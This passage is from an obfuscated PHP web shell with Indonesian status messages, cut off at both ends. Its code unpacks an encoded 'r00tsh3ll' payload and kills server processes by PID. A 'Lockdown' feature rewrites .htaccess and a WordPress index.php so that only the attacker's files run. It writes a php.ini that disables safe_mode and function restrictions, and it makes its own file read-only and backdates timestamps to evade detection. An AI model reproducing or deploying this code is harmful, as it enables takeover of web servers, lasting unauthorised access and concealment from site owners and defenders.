4\x6b\71\171\57\x42\154\124\67\132\114\161\x55\x56\x53\66\x51\x30\104\x72\x72\x51\x46\x73\x66\x4f\113\x6f\x46\x6d\165\113\132\106\x4b\156\132\x58\x66\60\x35\170\x76\112\156\171\103\x71\x52\62\x44\x4f\x41\157\x72\x76\x52\172\x66\116\x43\115\x57\101\167\111\60\151\123\x37\112\x42\115\x38\x4e\115\63\x75\102\x56\124\61\x34\157\154\154\x32\x71\x62\152\66\x41\152\x31\x59\x75\x4b\107\x48\x72\x36\x39\145\124\145\102\x4f\x67\103\x61\111\x6e\101\103\156\x71\145\150\x4c\102\x36\x78\x4f\154\x6d\170\x4c\x6d\152\x65\x41\144\150\x44\65\57\x44\65\x65\105\x30\x35\x43\x7a\171\x4a\x47\x63\x47\112\x30\127\154\124\x32\x6a\x4a\164\x66\x56\x70\155\x2f\x65\130\x66\x33\154\x39\146\x55\x52\x70\x6c\x68\x6c\x52\147\101\106\147\142\116\x41\x51\105\x50\x6e\x36\x59\172\x71\104\53\x35\143\x61\x6d\x73\x54\114\172\x4d\x2b\x41\x45\125\64\156\165\123\x6a\x53\x75\150\x72\x79\x5a\x37\115\60\62\x45\x51\x59\x45\x52\156\x45\x51\x2b\x61\x6d\63\130\161\71\x37\131\115\x64\126\x44\x78\x41\x4c\170\130\155\107\x6a\147\x2f\x43\155\x73\160\x4e\x51\x71\x45\x4d\106\115\x4f\x6b\x53\x73\x4f\162\166\x65\x56\x68\x75\x2f\x6e\x65\113\144\x76\x4c\64\x2f\110\x33\x36\117\x52\105\x4d\x41\171\x76\60\x6b\122\x63\53\x37\x79\161\162\122\x4e\157\166\x47\x6c\170\103\65\x4e\126\x2b\x7a\70\x6c\x2f\x49\172\x39\116\120\63\x77\163\167\x33\x6d\x54\67\104\x6b\x51\x71\x7a\x4f\70\x43\146\141\x45\x44\62\172\x6b\x32\121\x56\115\144\x59\65\104\x2b\x77\121\160\123\x50\162\x30\150\x74\x39\x4f\121\x43\x33\x74\x34\170\114\63\x74\107\x76\x6c\x39\103\x66\x73\53\x4f\x54\x73\x46\165\67\x6a\x4e\64\132\x34\164\x37\115\x73\x58\x32\x39\x7a\x32\x35\x31\57\x6b\111\70\161\x78\157\x50\x36\165\166\161\x76\113\x67\x50\x43\132\x38\x44\106\x62\61\101\127\61\146\x7a\102\x58\x59\x37\167\x37\53\57\x66\x45\x46\x72\156\63\152\x68\62\165\x62\120\x6d\156\x45\x42\x44\x72\101\x72\x51\x36\127\105\x42\153\141\x6e\x32\x56\164\x4c\144\x35\130\x6a\170\101\103\x57\153\x62\114\154\x49\x31\101\125\x7a\60\x6e\163\x79\153\65\105\x63\x62\166\x43\x37\x78\x62\x35\102\x74\x69\63\105\x44\143\65\67\101\x5a\156\x65\156\x6c\x39\x4f\132\153\x5a\117\x71\x50\x71\x57\x31\x73\x6c\x68\144\x2f\156\153\x74\x6b\x30\x7a\x48\x57\x75\x77\x64\60\x32\70\126\x65\171\x57\153\x55\x34\161\124\x2f\x6c\156\117\161\157\x6e\155\x52\x7a\107\70\x66\166\164\x78\162\53\63\x61\x59\106\x46\x67\x47\157\x77\x72\121\142\x58\x2b\x6a\112\61\103\161\157\x34\120\172\x44\57\164\66\57\165\x51\x30\71\x2f\x78\156\x35\x33\x6b\147\x77\131\x70\x54\x2f\x41\x57\64\111\x5a\143\154\165\115\145\x64\171\x76\115\x64\110\x47\125\x73\166\103\x42\x63\x68\x51\102\x33\71\x72\x76\147\x42\113\x44\66\x33\x6b\x65\x4d\x62\167\110\110\115\120\164\157\x6f\x6b\x61\62\x57\157\x53\x6f\x34\x78\111\x49\101\x79\62\107\x50\170\145\x76\x6a\x66\114\x55\x43\x70\x63\121\150\101\111\x35\x7a\x51\111\x6b\167\x58\x36\x31\101\x61\127\x51\160\x37\102\145\142\x6a\171\125\x4f\171\126\152\x2b\172\126\x35\x58\143\127\x54\x63\65\160\x4a\x6e\104\102\x77\x72\x5a\x4a\x46\121\x47\156\x33\x73\x38\x63\x46\106\x33\70\x4f\150\65\153\x4d\156\x69\170\123\53\142\102\143\x4e\x6a\x6c\162\x54\x37\x2f\x74\x50\x48\x78\171\x6f\x34\156\x74\71\143\x4c\x37\113\161\67\x4b\130\x38\x52\163\161\x6c\x54\115\x47\x7a\151\x4d\117\127\111\125\62\113\x68\172\x53\167\x6b\131\x35\x65\x70\x48\57\x6a\126\x68\x2b\117\124\x34\x2f\x50\170\x2f\x32\x4f\x51\x61\x31\155\64\x2b\126\x6b\x57\162\111\x6d\123\x6d\145\106\125\141\x53\63\x55\x32\117\x78\x4e\x31\65\123\113\x41\x41\131\x39\x65\127\x49\60\x4d\67\x6b\152\x48\66\x34\63\141\141\x4b\x62\x30\x53\152\57\70\104"; $r00tsh3ll = gzinflate(b64dd($bash3ll)); echo $r00tsh3ll; } elseif (isset($_GET[hex("\x70\x72\157\x63\x65\x73\x73\x78")])) { if (isset($_GET["\160\151\x64"])) { $s_p = $_GET["\x70\x69\144"]; if (function_exists("\160\x6f\x73\151\170\137\153\x69\154\x6c")) { $s_buff = posix_kill($s_p, "\71") ? "\x50\x72\x6f\143\x65\163\163\x20\x77\x69\164\150\40\x70\x69\x64\40" . $s_p . "\x20\150\141\163\40\142\x65\145\x6e\x20\163\165\143\143\145\x73\x73\146\165\x6c\x6c\x79\40\153\151\154\x6c\x65\144" : "\125\156\x61\x62\154\x65\x20\x74\x6f\40\153\x69\154\154\x20\160\162\157\143\x65\163\x73\40\167\x69\x74\150\40\x70\x69\144\40" . $s_p; } else { if (!$s_win) { $s_buff = exe("\153\151\154\x6c\40\55\71\40" . $s_p); } else { $s_buff = exe("\164\141\163\x6b\153\x69\x6c\154\x20\x2f\x46\40\x2f\120\111\104\40" . $s_p); } } } if (!$s_win) { $s_h = "\160\163\40\141\165\170"; } else { $s_h = "\164\141\x73\153\x6c\151\163\x74\x20\57\x56\x20\57\x46\117\40\143\x73\166"; } $s_wcount = 11; $s_wexplode = "\40"; if ($s_win) { $s_wexplode = "\x22\x2c\x22"; } $s_res = exe($s_h); if (trim($s_res) == '') { echo "\x3c\150\x32\x3e\x3c\x68\x32\x20\143\154\x61\163\163\75\x27\x6e\x6f\x74\151\x66\x27\76\105\x72\x72\x6f\162\40\147\145\x74\x74\151\156\x67\x20\x70\162\x6f\x63\x65\x73\x73\40\154\x69\163\164\x3c\57\x68\x32\76\74\x2f\143\x65\156\x74\x65\162\76"; } else { if (isset($s_buff)) { echo "\x3c\160\x20\x63\x6c\141\163\x73\x3d\47\x6e\x6f\164\151\x66\x27\76" . $s_buff . "\x3c\x2f\160\76"; } echo "\x3c\164\141\142\154\x65\x20\x63\x6c\x61\163\x73\40\x3d\x20\x27\x74\x61\142\x6c\145\40\164\x61\142\154\x65\55\x62\157\x72\144\x65\162\x65\x64\x20\x6d\x74\55\x33\40\x68\157\x76\145\162\124\x61\x62\154\x65\x27\76\74\x74\x68\x65\141\x64\x3e"; if (!$s_win) { $s_res = preg_replace("\43\134\40\53\x23", "\x20", $s_res); } $s_psarr = explode("\xa", $s_res); $s_fi = true; $s_tblcount = 0; $s_check = explode($s_wexplode, $s_psarr[0]); $s_wcount = count($s_check); foreach ($s_psarr as $s_psa) { if (trim($s_psa) != '') { if ($s_fi) { $s_fi = false; $s_psln = explode($s_wexplode, $s_psa, $s_wcount); echo "\x3c\x74\162\x3e\74\164\x68\x20\163\164\171\x6c\x65\x3d\x27\164\x65\x78\x74\55\141\x6c\x69\147\x6e\72\143\x65\156\164\x65\162\73\x27\x3e\x41\x63\164\x69\x6f\x6e\74\57\x74\x68\x3e"; foreach ($s_psln as $s_p) { echo "\74\x74\150\x20\x73\164\x79\x6c\x65\75\x27\164\x65\170\164\x2d\141\x6c\x69\147\x6e\x3a\x63\x65\x6e\164\145\x72\73\x27\76" . trim(trim(strtolower($s_p)), "\42") . "\74\x2f\164\x68\76"; } echo "\74\x2f\x74\x72\x3e"; } else { $s_psln = explode($s_wexplode, $s_psa, $s_wcount); echo "\74\x74\162\x3e"; $s_tblcount = 0; foreach ($s_psln as $s_p) { if (trim($s_p) == '') { $s_p = "\xc2\240"; } if ($s_tblcount == 0) { echo "\x3c\164\x64\x20\x73\164\x79\154\x65\75\47\x74\145\x78\x74\x2d\x61\x6c\151\147\x6e\x3a\143\x65\156\x74\145\x72\73\47\x3e\x3c\x61\x20\x63\154\141\x73\x73\75\x27\x66\157\x72\x6d\x2d\x63\x6f\x6e\x74\162\157\154\x20\141\x6a\170\x27\x20\x68\162\x65\x66\75\x27\77\144\75" . hex($d) . "\46" . hex("\160\x72\x6f\x63\x65\163\x73\170") . "\x26\x70\x69\144\x3d" . trim(trim($s_psln[1]), "\42") . "\x27\x3e\113\151\x6c\154\x3c\x2f\141\x3e\x3c\x2f\164\144\76\12\11\x9\x9\11\11\x9\11\11\x9\x9\74\164\x64\x20\163\164\171\x6c\x65\75\47\164\145\170\164\55\141\x6c\151\147\x6e\72\143\145\x6e\164\145\162\73\47\x3e" . trim(trim($s_p), "\x22") . "\x3c\57\x74\144\76"; $s_tblcount++; } else { $s_tblcount++; if ($s_tblcount == count($s_psln)) { echo "\x3c\x74\144\x20\x73\x74\x79\154\x65\x3d\x27\164\x65\x78\164\55\x61\154\151\x67\156\72\x63\145\x6e\164\145\162\x3b\x27\76" . trim(trim($s_p), "\42") . "\x3c\57\164\144\76"; } else { echo "\74\164\x64\x20\x73\164\x79\x6c\145\75\47\x74\145\x78\164\55\141\154\151\147\x6e\x3a\x63\145\156\x74\x65\x72\73\47\x3e" . trim(trim($s_p), "\x22") . "\x3c\57\x74\144\x3e"; } } } echo "\74\57\x74\x72\x3e"; } } } echo "\74\x2f\x74\x68\x65\141\x64\x3e\74\57\x74\x61\x62\154\x65\76"; } } elseif (isset($_GET[hex("\x4c\x6f\x63\153\144\157\x77\x6e")])) { AutomenU($d); echo "\x3c\x63\x65\156\x74\145\162\x3e\x3c\150\x72\76\74\142\162\x3e\x3c\x68\x32\76\x4c\157\x63\153\144\x6f\167\x6e\40\x59\x3c\x2f\150\x32\x3e\74\142\162\76"; echo "\x3c\x61\40\143\154\141\163\163\x3d\42\142\164\x6e\x20\142\164\x6e\x2d\x73\x75\143\x63\x65\163\163\x20\x62\164\x6e\x2d\x73\x6d\x20\141\x6a\170\x20\x22\40\150\162\x65\x66\75\x22\77\x64\x3d" . hex($d) . "\x26" . hex("\114\x6f\143\153\x64\x6f\x77\156") . "\42\76\x3a\72\40\103\x68\145\x63\x6b\40\114\157\143\x6b\40\72\72\x3c\x2f\x61\x3e"; $htaccess = $_SERVER["\104\x4f\103\x55\115\x45\116\124\x5f\122\x4f\x4f\124"] . "\57\56\150\164\x61\x63\x63\x65\163\x73"; $htaccess_content = fgt($htaccess); echo "\x3c\x74\145\x78\x74\x61\x72\145\141\x20\162\x65\x61\x64\157\x6e\154\171\x3e" . htmlspecialchars($htaccess_content) . "\74\57\164\x65\x78\x74\141\162\145\141\76"; echo "\12\11\x9\x9\x9\x3c\146\x6f\x72\x6d\x20\x61\x63\x74\151\x6f\x6e\75\x22\42\x20\x6d\x65\x74\x68\x6f\144\x3d\x22\160\x6f\163\x74\42\76\12\12\11\11\x9\x9\11\x9\x3c\x75\x3e\x4a\x65\x6e\151\x73\x20\72\74\57\165\76\xa\x9\x9\11\x9\11\x9\x3c\163\145\154\145\x63\164\x20\x6e\141\155\x65\x3d\x22\x6a\x65\156\x69\163\154\157\x63\x6b\x22\40\143\x6c\x61\x73\x73\x3d\x22\146\x6f\162\155\55\x63\157\x6e\164\x72\157\154\x22\40\x73\x74\171\154\145\75\x22\167\151\x64\164\x68\x3a\40\62\x35\x30\160\x78\x3b\x20\x68\145\x69\x67\150\x74\72\40\x34\60\160\x78\x3b\42\x3e\xa\11\x9\x9\11\11\11\xa\x9\11\x9\x9\11\x9\x9\74\157\160\x74\x69\x6f\x6e\x20\166\141\154\165\145\75\42\x77\x70\x22\x73\x65\154\145\x63\164\x65\144\x3d\x22\x73\x65\x6c\145\x63\x74\x65\x64\x22\76\x4c\157\x63\153\x64\x6f\x77\x6e\40\x57\x6f\162\x64\x70\x72\145\x73\x73\74\x2f\x6f\x70\164\x69\x6f\x6e\76\xa\11\x9\11\11\x9\11\11\x3c\x6f\160\x74\x69\157\x6e\x20\x76\141\154\x75\145\75\42\143\151\x69\x22\x3e\x4c\x6f\143\153\x64\157\x77\x6e\40\x43\157\x64\145\111\147\x6e\151\x74\x65\162\x3c\57\157\160\x74\151\157\156\76\12\11\11\11\11\11\x9\11\74\157\x70\x74\151\157\156\x20\166\141\x6c\x75\145\75\42\171\151\151\x22\76\x4c\157\143\153\144\x6f\x77\x6e\x20\x59\151\151\x32\74\57\157\160\164\x69\x6f\x6e\76\12\11\x9\x9\x9\x9\11\x9\74\x6f\160\164\x69\x6f\x6e\x20\x76\141\x6c\x75\145\x3d\x22\157\x6a\163\x22\76\114\157\143\153\144\157\167\x6e\x20\117\112\123\x3c\57\157\x70\164\151\x6f\156\76\12\11\11\11\11\11\11\x9\74\x6f\160\164\151\157\156\40\166\141\x6c\x75\x65\75\x22\167\145\142\x22\76\x4c\157\x63\x6b\144\x6f\167\156\x20\x57\x65\x62\74\x2f\x6f\160\164\x69\x6f\156\76\12\11\x9\11\x9\11\11\x3c\57\163\x65\154\x65\x63\164\x3e\xa\11\x9\x9\x9\11\x9\x3c\142\x72\x3e\12\x9\x9\x9\11\x9\x9\xa\11\11\11\x9\x9\x9\x3c\x69\156\x70\x75\164\40\164\171\160\x65\75\x22\163\x75\142\x6d\151\164\42\40\x63\154\x61\x73\163\75\x22\x66\x6f\x72\155\55\143\157\156\164\x72\x6f\x6c\x22\x20\x73\164\171\x6c\x65\x3d\42\167\x69\144\164\150\72\40\62\x35\60\160\x78\73\x20\150\145\x69\147\150\x74\72\x20\64\x30\x70\170\x3b\x22\x20\x76\141\154\165\x65\75\x22\x4c\157\143\x6b\40\x4e\x6f\x77\x20\x21\42\x20\x6e\141\x6d\145\75\42\x4c\x6f\143\153\x4e\157\x77\42\x20\x2f\x3e\12\11\x9\x9\x9\x3c\x2f\146\x6f\x72\155\x3e\12\11\x9\11\11\74\57\x63\145\156\164\145\x72\x3e\xa\11\11\x9\x9\x3c\x68\x72\x3e\74\142\x72\x3e\74\x73\160\x61\156\40\x73\164\x79\x6c\x65\75\x22\143\x6f\154\x6f\162\72\162\145\x64\x22\76"; if (isset($_POST["\114\x6f\x63\153\116\157\x77"])) { $kunci = $_POST["\152\145\156\151\x73\154\157\x63\x6b"]; $phpini = $_SERVER["\104\117\103\x55\x4d\105\116\x54\x5f\x52\117\x4f\x54"] . "\57\160\x68\160\x2e\151\x6e\151"; $indexwp = $_SERVER["\x44\x4f\x43\125\115\x45\116\124\x5f\122\x4f\117\x54"] . "\x2f\x69\156\144\x65\170\56\x70\150\x70"; $this_file = __FILE__; switch ($kunci) { case "\167\160": $lockhtaccess = implode("\x7c", $enx0); break; case "\x63\151\151": $lockhtaccess = implode("\x7c", $enx2); break; case "\171\x69\x69": $lockhtaccess = implode("\174", $enx3); break; case "\x6f\152\x73": $lockhtaccess = implode("\x7c", $enx4); break; case "\167\x65\x62": $lockhtaccess = implode("\174", $enx1); break; default: $lockhtaccess = implode("\174", $enx1); break; } if ($kunci === "\167\x70") { $indexphp = "\120\104\x39\167\141\110\x41\113\x4c\x79\x6f\x71\x43\x69\x41\x71\x49\x45\132\171\142\x32\65\x30\x49\110\x52\x76\x49\x48\122\157\x5a\x53\102\130\x62\x33\112\153\125\110\x4a\x6c\143\63\x4d\147\131\x58\102\x77\x62\x47\154\x6a\x59\130\x52\x70\142\x32\64\x75\111\106\122\157\141\x58\115\147\x5a\x6d\154\x73\x5a\123\x42\153\142\x32\126\172\x62\151\144\x30\111\107\122\166\x49\107\x46\165\x65\x58\122\x6f\141\x57\65\x6e\114\103\102\x69\x64\x58\121\x67\142\x47\x39\150\132\110\x4d\x4b\x49\103\x6f\x67\144\63\101\164\131\155\170\166\x5a\171\61\157\x5a\127\x46\x6b\132\130\111\x75\x63\107\150\x77\111\110\x64\x6f\x61\127\x4e\x6f\x49\x47\122\166\x5a\130\x4d\x67\x59\127\x35\153\111\110\122\x6c\x62\x47\170\172\111\x46\x64\166\143\155\122\121\143\155\126\x7a\x63\171\102\60\142\171\x42\163\142\x32\106\153\111\x48\122\x6f\132\x53\x42\x30\x61\x47\x56\x74\x5a\x53\64\x4b\111\103\157\113\111\x43\x6f\x67\121\110\x42\x68\131\62\164\x68\132\62\125\x67\x56\62\71\171\132\106\102\171\x5a\130\x4e\x7a\x43\x69\x41\161\114\167\x6f\x4b\114\x79\157\161\103\x69\x41\x71\x49\106\122\x6c\142\x47\170\172\111\x46\x64\x76\143\155\122\x51\x63\x6d\126\x7a\143\171\102\x30\x62\171\x42\163\x62\x32\x46\153\111\110\122\x6f\x5a\x53\102\x58\142\63\x4a\x6b\125\110\x4a\154\143\63\x4d\147\x64\107\x68\x6c\142\x57\125\147\x59\x57\65\x6b\111\107\x39\x31\144\x48\102\x31\144\103\x42\x70\144\103\64\113\111\103\x6f\x4b\111\103\x6f\147\121\110\132\150\x63\151\x42\151\x62\62\71\163\103\151\101\161\114\x77\x70\x6b\x5a\127\132\160\x62\155\125\x6f\x49\x43\x64\130\x55\x46\x39\x56\125\60\126\146\x56\105\150\x46\124\125\x56\x54\112\171\x77\147\x64\110\112\61\x5a\x53\x41\x70\117\x77\157\x4b\x4c\x79\x6f\x71\x49\x45\x78\x76\131\x57\x52\x7a\111\x48\x52\x6f\x5a\x53\102\130\x62\63\x4a\x6b\x55\110\112\x6c\x63\x33\x4d\x67\122\127\x35\62\x61\130\x4a\166\142\x6d\61\x6c\142\156\121\147\131\x57\x35\x6b\111\106\x52\154\x62\130\102\x73\x59\130\122\154\111\103\x6f\x76\103\x6e\x4a\x6c\x63\x58\x56\160\x63\x6d\x55\147\x58\x31\x39\x45\123\x56\112\x66\x58\x79\101\x75\x49\x43\143\166\144\63\x41\x74\x59\155\170\166\x5a\x79\61\x6f\132\x57\x46\x6b\x5a\130\x49\x75\x63\107\150\167\x4a\x7a\x73\75"; $indexphp = b64dd($indexphp); if (file_exists($indexwp)) { $indexphp_content = fgt($indexwp); if ($indexphp == $indexphp_content) { echo "\151\156\144\145\x78\x2e\x70\x68\x70\40\163\x61\x6d\x61\x20\x2e\x2e\74\142\162\76"; echo "\x43\x68\155\x6f\144\x20\x34\64\64\x20\151\156\144\145\x78\56\x70\x68\x70\74\142\x72\x3e"; chmod($indexwp, 292); } else { echo "\x43\x68\155\x6f\x64\40\67\x37\67\40\151\x6e\144\x65\x78\56\160\x68\x70\74\x62\x72\x3e"; chmod($indexwp, 511); echo "\110\141\x70\165\163\x20\151\x6e\144\145\x78\x2e\160\150\160\74\x62\162\x3e"; unlink($indexwp); echo "\124\141\x6d\142\141\x68\153\141\x6e\x20\151\x6e\144\145\170\56\160\150\x70\x20\x62\141\x72\x75\74\142\162\76"; file_put_contents($indexwp, $indexphp); echo "\x43\150\x6d\157\144\40\64\x34\64\x20\x69\x6e\144\x65\170\56\x70\x68\160\x3c\142\x72\x3e"; chmod($indexwp, 292); echo "\x52\141\156\144\157\155\x69\172\145\x20\x69\x6e\x64\x65\170\x2e\160\150\160\40\144\x61\164\145\x3c\x62\162\76"; touch($indexwp, strtotime("\x2d" . rand(30, 150) . "\x20\x64\x61\x79\x73", time())); } } if (file_exists($htaccess)) { echo "\103\150\x6d\x6f\144\x20\67\x37\x37\40\x68\x74\141\143\143\145\x73\x73\74\x62\x72\76"; chmod($htaccess, 511); echo "\x64\145\154\x65\164\x69\x6e\147\x20\150\x74\141\x63\143\x65\163\x73\74\142\162\76"; unlink($htaccess); } echo "\115\x65\x6e\x61\x6d\x62\141\x68\x20\x68\x74\x61\143\x63\x65\x73\x73\x20\x62\x61\x72\x75\74\142\x72\76"; $src1 = b64dd("\124\63\x42\x30\141\x57\x39\x75\143\x79\x41\164\x53\x57\65\x6b\132\130\x68\154\x63\x77\x6f\70\x52\155\154\x73\x5a\x58\116\x4e\x59\x58\x52\x6a\x61\103\101\151\x4c\x69\x70\x63\x4c\x69\x68\167\x65\x58\170\x7a\141\110\x52\x74\x62\x48\x78\x77\141\x48\122\x74\x62\x48\x78\167\141\x48\x42\x38\x55\x45\x68\x51\146\x46\102\157\x63\110\170\121\123\110\102\70\x63\x45\x68\167\x66\x48\102\111\125\110\170\167\x61\x46\x42\70\125\107\150\121\x66\x48\x42\157\143\104\126\70\143\x47\150\167\x4e\x79\x6b\153\111\152\64\x4b\x54\63\x4a\x6b\132\x58\111\147\121\x57\x78\163\142\63\x63\163\122\x47\126\x75\145\121\x70\105\132\127\65\65\x49\107\132\171\142\x32\60\147\131\x57\170\163\103\152\167\166\122\155\x6c\163\132\x58\x4e\x4e\x59\x58\x52\152\x61\104\64\x4b\x50\x45\x5a\160\142\x47\x56\172\124\127\x46\x30\131\x32\147\x67\112\x31\64\x6f"); $src2 = $lockhtaccess; $src3 = b64dd("\x4b\123\x51\x6e\120\147\x70\x50\143\155\x52\x6c\143\151\x42\x68\x62\107\x78\166\144\x79\170\153\132\127\x35\65\103\x6b\x46\163\x62\107\71\x33\111\107\x5a\171\142\62\x30\x67\x59\127\170\163\x43\152\167\x76\122\x6d\154\163\x5a\x58\116\x4e\x59\130\x52\x6a\141\104\64\x4b\x49\171\x42\103\x52\125\x64\112\124\147\157\70\x53\127\x5a\x4e\x62\62\122\61\142\107\125\147\142\x57\x39\153\x58\63\x4a\154\144\63\x4a\160\144\107\125\x75\x59\x7a\x34\x4b\x55\155\126\63\143\155\154\60\132\x55\126\165\132\62\x6c\165\x5a\x53\x42\x50\x62\x67\x70\x53\x5a\130\144\171\x61\130\x52\x6c\121\x6d\106\172\x5a\x53\x41\166\x43\x6c\x4a\x6c\x64\63\112\160\144\107\126\x53\144\x57\x78\x6c\x49\x46\x35\160\142\x6d\122\x6c\x65\x43\x35\x77\141\110\x41\153\x49\x43\x30\147\127\x30\x78\x64\103\154\x4a\154\144\63\x4a\160\144\x47\126\x44\142\62\65\x6b\111\x43\x56\x37\125\x6b\x56\122\126\125\x56\x54\126\106\x39\x47\x53\125\x78\106\124\x6b\106\x4e\x52\130\60\147\111\x53\x31\x6d\x43\154\x4a\x6c\144\x33\x4a\x70\x64\x47\x56\104\142\x32\65\x6b\111\x43\x56\67\125\153\126\122\x56\x55\x56\124\126\106\71\x47\123\125\x78\106\x54\153\x46\116\x52\130\60\147\111\123\x31\x6b\x43\x6c\x4a\x6c\x64\x33\112\160\x64\107\x56\123\x64\x57\x78\154\x49\x43\x34\x67\x61\127\x35\x6b\x5a\x58\x67\165\143\107\x68\x77\x49\106\164\115\130\x51\157\x38\114\60\x6c\x6d\124\127\x39\x6b\x64\x57\x78\154\120\x67\157\x6a\111\x45\x56\117\x52\x41\x3d\x3d"); file_put_contents($htaccess, $src1); file_put_contents($htaccess, $src2, FILE_APPEND | LOCK_EX); file_put_contents($htaccess, $src3, FILE_APPEND | LOCK_EX); $htaccessx = $direktori . "\57\x2d\x2e\x2f\x2e\150\x74\x61\x63\143\145\163\x73"; $contentxx1 = "\x51\127\x52\153\x56\110\x6c\167\x5a\x53\102\150\143\x48\102\163\x61\x57\x4e\150\144\x47\x6c\166\x62\151\71\64\114\127\150\x30\x64\110\102\x6b\x4c\x58\x42\x6f\x63\103\101\165\x63\x47\x52\155"; $contentxx = b64dd($contentxx1); file_put_contents($htaccessx, $contentxx); file_put_contents($phpini, b64dd("\x63\62\106\155\x5a\x56\x39\x74\x62\x32\x52\154\x49\x44\x30\147\x54\x32\132\155\x43\x6d\122\160\x63\62\106\151\x62\107\x56\146\x5a\156\126\165\131\63\122\160\x62\62\65\172\111\x44\x30\x67\124\153\71\x4f\122\x51\x70\172\131\x57\x5a\154\x58\62\x31\166\132\107\x56\x66\x5a\x32\x6c\153\x49\104\60\147\124\60\132\107\103\155\71\167\132\x57\x35\x66\131\x6d\106\172\x5a\x57\122\160\x63\151\101\71\111\105\x39\107\x52\147\x70\154\145\107\x56\x6a\x49\x44\x30\147\124\x30\64\x67\103\x6e\116\x6f\x5a\x57\x78\163\130\x32\x56\x34\x5a\127\115\x67\x50\123\102\120\x54\x67\x3d\75")); echo "\x49\x6e\152\145\143\x74\40\120\110\x50\56\x69\156\151\40\x62\171\160\x61\163\163\x3c\x62\162\76"; echo "\103\150\155\x6f\144\x20\64\64\x34\x20\x68\x74\141\143\143\145\x73\163\x3c\x62\x72\x3e"; chmod($htaccess, 292); echo "\x43\x68\155\x6f\144\40\x34\64\x34\40\146\x69\x6c\145\40\x69\156\x69\x3c\142\162\x3e"; chmod($this_file, 292); echo "\x52\141\156\144\157\x6d\x20\167\x61\153\x74\165\x20\x68\x74\141\143\143\145\x73\163\74\142\162\x3e"; touch($htaccess, strtotime("\x2d" . rand(30, 150) . "\40\144\141\171\163", time())); echo "\122\141\x6e\144\157\x6d\40\167\141\x6b\164\165\x20\x66\x69\x6c\145\x20\151\x6e\151\74\x62\162\x3e"; touch($this_file, strtotime("\x2d" . rand(30, 150) . "\40\x64\141\x79\x73", time())); echo "\101\154\154\40\144\157\x6e\145\x21"; } else { if (file_exists($htaccess)) { echo "\103\150\155\157\144\x20\x37\x37\67\x20\x68\164\x61\143\143\x65\163\163\x3c\x62\x72\76"; chmod($htaccess, 511); echo "\x64\x65\x6c\x65\x74\151\156\147\x20\150\x74\x61\x63\143\145\163\x73\x3c\x62\162\x3e"; unlink($htaccess); } echo "\115\145\x6e\x61\155\142\x61\150\x20\150\x74\x61\x63\x63\145\163\x73\40\142\x61\162\165\74\142\162\x3e"; $src1 = b64dd("\124\x33\102\60\x61\x57\71\165\x63\171\x41\x74\x53\x57\65\x6b\132\x58\x68\154\x63\x77\x6f\70\122\x6d\x6c\x73\x5a\x58\116\116\131\130\x52\x6a\141\103\x41\x69\114\x69\160\x63\114\x69\x68\167\145\x58\170\172\141\110\122\164\x62\110\x78\x77\141\110\x52\x74\x62\110\x78\167\141\x48\102\x38\x55\105\x68\121\x66\x46\x42\157\143\x48\170\121\123\110\102\x38\143\105\x68\167\146\110\x42\111\x55\x48\170\x77\141\106\x42\x38\x55\107\x68\x51\146\x48\x42\157\x63\104\x56\x38\143\x47\150\167\116\171\x6b\153\x49\x6a\x34\113\x54\63\112\153\x5a\x58\111\x67\121\127\x78\163\142\63\143\163\x52\x47\x56\x75\x65\x51\x70\105\x5a\x57\x35\x35\111\x47\x5a\x79\x62\x32\60\147\131\127\x78\163\103\152\x77\166\x52\155\154\163\132\130\116\116\131\130\122\x6a\141\104\64\113\x50\105\132\x70\x62\107\x56\172\x54\x57\106\60\x59\62\147\x67\112\61\64\157"); $src2 = $lockhtaccess; $src3 = b64dd("\113\123\x51\156\120\x67\160\120\x63\155\x52\154\143\x69\x42\x68\x62\x47\170\166\x64\171\x78\x6b\x5a\x57\65\65\x43\153\x46\x73\142\107\71\x33\111\107\132\x79\142\x32\x30\147\x59\127\170\163\103\152\x77\x76\122\155\154\x73\x5a\x58\x4e\x4e\131\x58\122\x6a\x61\104\x34\x4b\x49\171\102\x43\122\125\x64\112\124\x67\x6f\x38\123\x57\132\116\142\62\122\61\142\107\125\x67\142\127\x39\x6b\130\x33\x4a\154\x64\x33\112\x70\144\x47\x55\x75\131\x7a\x34\x4b\x55\x6d\x56\63\x63\x6d\x6c\x30\x5a\x55\126\x75\x5a\x32\154\165\x5a\123\102\x50\142\x67\x70\x53\x5a\x58\144\171\141\130\x52\154\x51\x6d\x46\172\132\123\101\166\x43\154\112\154\x64\x33\112\160\144\107\126\123\x64\x57\x78\x6c\111\x46\x35\160\x62\x6d\x52\154\x65\103\65\167\x61\110\101\x6b\x49\103\60\x67\127\x30\170\x64\x43\154\112\154\x64\x33\x4a\160\144\x47\x56\x44\x62\x32\x35\153\111\x43\126\x37\x55\153\126\122\x56\125\x56\x54\x56\x46\x39\107\123\125\170\106\x54\153\106\x4e\122\x58\x30\147\x49\123\x31\x6d\103\154\x4a\154\144\x33\112\x70\x64\x47\x56\x44\142\62\65\153\111\x43\x56\67\125\153\126\x52\x56\125\x56\x54\x56\106\x39\107\x53\125\170\x46\x54\153\x46\x4e\122\130\60\x67\x49\123\61\x6b\103\154\112\154\144\63\x4a\x70\144\x47\126\123\144\x57\x78\x6c\111\x43\64\x67\141\127\x35\x6b\x5a\x58\147\x75\x63\x47\x68\x77\x49\x46\164\115\130\121\x6f\x38\114\60\154\x6d\124\127\x39\x6b\144\127\170\154\120\x67\x6f\152\x49\105\126\117\122\x41\75\75"); file_put_contents($htaccess, $src1); file_put_contents($htaccess, $src2, FILE_APPEND | LOCK_EX); file_put_contents($htaccess, $src3, FILE_APPEND | LOCK_EX); $htaccessx = $direktori . "\57\55\56\x2f\x2e\x68\164\141\143\x63\145\x73\163"; $contentxx1 = "\x51\x57\x52\153\126\110\154\167\x5a\x53\102\x68\143\x48\102\x73\141\x57\116\150\x64\107\x6c\x76\x62\x69\71\x34\114\x57\150\x30\144\x48\x42\153\114\130\x42\x6f\x63\103\x41\165\x63\x47\122\155"; $contentxx = b64dd($contentxx1); file_put_contents($htaccessx, $contentxx); file_put_contents($phpini, 